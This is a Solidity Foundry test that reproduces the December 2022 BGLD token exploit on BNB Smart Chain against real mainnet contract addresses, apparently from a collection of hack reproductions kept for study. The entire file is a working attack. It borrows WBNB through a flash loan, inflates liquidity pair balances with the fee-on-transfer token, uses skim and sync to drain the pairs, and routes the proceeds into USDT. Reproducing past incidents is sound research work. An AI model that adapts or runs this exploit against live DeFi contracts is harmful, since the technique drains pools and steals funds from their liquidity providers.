src/test/2022-12/BGLD_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1602335214356660225
9// @TX
10// https://bscscan.com/tx/0xea108fe94bfc9a71bb3e4dee4a1b0fd47572e6ad6aba8b2155ac44861be628ae
11 
12interface ERCPorxy {
13    function migrate() external;
14}
15 
16contract ContractTest is Test {
17    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
19    IERC20 oldBGLD = IERC20(0xC2319E87280c64e2557a51Cb324713Dd8d1410a3);
20    IERC20 newBGLD = IERC20(0x169f715CaE1F94C203366a6890053E817C767B7C);
21    IERC20 DEBT = IERC20(0xC632F90affeC7121120275610BF17Df9963F181c);
22    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
23    ERCPorxy Proxy = ERCPorxy(0xE445654F3797c5Ee36406dBe88FBAA0DfbdDB2Bb);
24    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
25    Uni_Pair_V2 WBNB_oldBGLD = Uni_Pair_V2(0x7526cC9121Ba716CeC288AF155D110587e55Df8b);
26    Uni_Pair_V2 oldBGLD_DEBT = Uni_Pair_V2(0x429339fa7A2f2979657B25ed49D64d4b98a2050d);
27    Uni_Pair_V2 newBGLD_DEBT = Uni_Pair_V2(0x559D0deAcAD259d970f65bE611f93fCCD1C44261);
28 
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    function setUp() public {
32        cheats.createSelectFork("bsc", 23_844_529);
33    }
34 
35    function testExploit() public {
36        oldBGLD.approve(address(Router), type(uint256).max);
37        oldBGLD.approve(address(Proxy), type(uint256).max);
38        newBGLD.approve(address(Router), type(uint256).max);
39        DEBT.approve(address(Router), type(uint256).max);
40        DVM(dodo).flashLoan(125 * 1e18, 0, address(this), new bytes(1)); // FlashLoan WBNB
41        Proxy.migrate(); // migrate oldBGLD to newBGLD
42        newBGLDToDEBT();
43        newBGLD_DEBT.swap(0, 950 * 1e9, address(this), new bytes(1)); // FlashLoan DEBT
44        Proxy.migrate();
45        newBGLDToDEBT();
46        DEBTToUSDT();
47 
48        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
49 
50        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
51    }
52 
53    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
54        WBNB.transfer(address(WBNB_oldBGLD), WBNB.balanceOf(address(this)));
55        address[] memory path = new address[](2);
56        path[0] = address(WBNB);
57        path[1] = address(oldBGLD);
58        uint256[] memory values = Router.getAmountsOut(125 * 1e18, path);
59        WBNB_oldBGLD.swap(0, values[1] * 90 / 100, address(this), "");
60        oldBGLD.transfer(address(WBNB_oldBGLD), oldBGLD.balanceOf(address(WBNB_oldBGLD)) * 10 + 10);
61        WBNB_oldBGLD.skim(address(this));
62        WBNB_oldBGLD.sync();
63        oldBGLDToWBNB();
64        WBNB.transfer(dodo, 125 * 1e18);
65    }
66 
67    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
68        DEBT.transfer(address(oldBGLD_DEBT), DEBT.balanceOf(address(this)));
69        (uint256 oldBGLDreserve, uint256 DEBTreserve,) = oldBGLD_DEBT.getReserves();
70        uint256 amountIn = DEBT.balanceOf(address(oldBGLD_DEBT)) - DEBTreserve;
71        uint256 amountOut = amountIn * 9975 * oldBGLDreserve / (DEBTreserve * 10_000 + amountIn * 9975);
72        oldBGLD_DEBT.swap(amountOut * 90 / 100, 0, address(this), "");
73        oldBGLD.transfer(address(oldBGLD_DEBT), oldBGLD.balanceOf(address(oldBGLD_DEBT)) * 10 + 10);
74        oldBGLD_DEBT.skim(address(this));
75        oldBGLD_DEBT.sync();
76        oldBGLDToDEBT();
77        uint256 loanAmount = 950 * 1e9;
78        DEBT.transfer(address(newBGLD_DEBT), loanAmount * 10_000 / 9975 + 1000);
79    }
80 
81    function oldBGLDToWBNB() internal {
82        address[] memory path = new address[](2);
83        path[0] = address(oldBGLD);
84        path[1] = address(WBNB);
85        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);
86    }
87 
88    function newBGLDToDEBT() internal {
89        address[] memory path = new address[](2);
90        path[0] = address(newBGLD);
91        path[1] = address(DEBT);
92        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
93            newBGLD.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp
94        );
95    }
96 
97    function oldBGLDToDEBT() internal {
98        address[] memory path = new address[](2);
99        path[0] = address(oldBGLD);
100        path[1] = address(DEBT);
101        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);
102    }
103 
104    function DEBTToUSDT() internal {
105        address[] memory path = new address[](2);
106        path[0] = address(DEBT);
107        path[1] = address(USDT);
108        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
109            DEBT.balanceOf(address(this)), 0, path, address(this), block.timestamp
110        );
111    }
112}